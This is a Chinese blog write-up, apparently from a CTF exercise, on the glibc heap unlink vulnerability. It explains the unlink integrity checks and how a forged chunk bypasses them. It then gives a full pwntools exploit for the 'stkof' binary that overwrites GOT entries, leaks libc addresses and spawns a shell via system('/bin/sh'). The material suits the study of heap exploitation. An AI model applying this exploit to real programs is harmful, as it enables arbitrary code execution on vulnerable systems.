unlink函数_Unlink漏洞简单分析

0x1,堆溢出漏洞;
0x2,闲聊:Unlink的难度不小,现在也只能勉强理解;
关于unlink的漏洞简单说一下
1,第一个判断
if(chunksize (p) != prev_size (next_chunk (p)))
此判断所代表的含义为检查将从链表中卸下的chunk其size是否被恶意的修改。记录当前size的地方有两处一个是为当前chunk的size字段和下一个chunk(物理地址上相邻的高地址的chunk)的prev_size字段如果这两个字段的值不等,则unlink会抛出异常。
第2个判断
FD=P->fd即当前空闲chunk所指向的下一个空闲chunk

BK=P->bk即当前空闲chunk所指向的上一个chunk

FD->bk=BK<=>P->fd->bk= P->bk

BK->fd=FD<=>P->bk->fd= P->fd
光看这些指针所指向的内容可能有些迷糊实际上就是将当前空闲chunk相连的前后chunk彼此相连即达到了解链的目的,明白了这一点再来看第二个if的安全检查机制
if(__builtin_expect (fd->bk != p || bk->fd != p, 0))
其实就是检查当前空闲chunk的前一个chunk的bk指向是不是自己本身或者当前chunk的后一个chunk的fd指向是不是自己,如果不是则会抛出异常。
0x3,具体操作:
1,源码分析的话是典型的给你创建,编辑,删除的堆;
2

a014df148931c82a0763312c91a6b6f4.png

没什么好说的;3.

af849ff8f6e8dca6020960b5da27a440.png

它会把创建的堆放在这;地址0x602140;
4,那么需要至少3个堆,前两个可以小一点,后一个需要大一点比fastbin 大,才可以溢出
5,通过修改第二个chunk的内容在第二个chunk中伪造了一个空闲chunk从地址0x14c4460开始为伪造chunk的内容。如过此时想要free chunk3那么要进入unlink则需要使unlink函数认为伪chunk是空闲的并绕过检查。所以首先通过溢出将第三个chunk的prev_size字段修改为0x30并将size字段的P字段修改为0即0x90那么此时就可以绕过第1个 if判断。第二个if判断就难理解一些在这里有个通用的绕过公式即:
fd  = address  -  0x18

bk  = address  -  0x10
剩下的就是老生常谈了,exp

from pwn import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'

context.binary = "./stkof"
stkof = ELF('./stkof')

if args['REMOTE']:
    p = remote('127.0.0.1', 7777)
else:
    p = process("./stkof")

log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')

head = 0x602140
def alloc(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')

def edit(idx, size, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil('OK\n')

def free(idx):
    p.sendline('3')
    p.sendline(str(idx))

def exp():
    gdb.attach(p)
    # trigger to malloc buffer for io function
    alloc(0x100)        # idx 1
    # begin
    alloc(0x30)         # idx 2
    # small chunk size in order to trigger unlink
    alloc(0x80)         # idx 3
    # a fake chunk at global[2] = head + 16 who's size is 0x20
    payload = p64(0)        #prev_size
    payload += p64(0x20)    #size --> except the first line, the rest two line is equal to 0x20?
    payload += p64(head + 16 - 0x18)  #fd
    payload += p64(head + 16 - 0x10)  #bk
    payload += p64(0x20)  # next chunk's prev_size bypass the check
    payload = payload.ljust(0x30, 'a')
    # overwrite global[3]'s chunk's prev_size
    # make it believe that prev chunk is at global[2]
    payload += p64(0x30)        #0x30 is the front one whole size?
    # make it believe that prev chunk is free
    payload += p64(0x90)
    edit(2, len(payload), payload)
    # unlink fake chunk, so global[2] =&(global[2]) - 0x18 = head - 8
    free(3)
    p.recvuntil('OK\n')
    #gdb.attach(p)
    # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
    payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
    edit(2, len(payload), payload)
    # edit free@got to puts@plt
    payload = p64(stkof.plt['puts'])
    edit(0, len(payload), payload)

    #free global[1] to leak puts addr
    free(1)
    puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))
    system_addr = libc_base + libc.symbols['system']
    log.success('libc base: ' + hex(libc_base))
    log.success('/bin/sh addr: ' + hex(binsh_addr))
    log.success('system addr: ' + hex(system_addr))
    # modify atoi@got to system addr
    payload = p64(system_addr)
    edit(2, len(payload), payload)
    p.send(p64(binsh_addr))
    p.interactive()

if __name__ == "__main__":
    exp()
Written by 天华
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值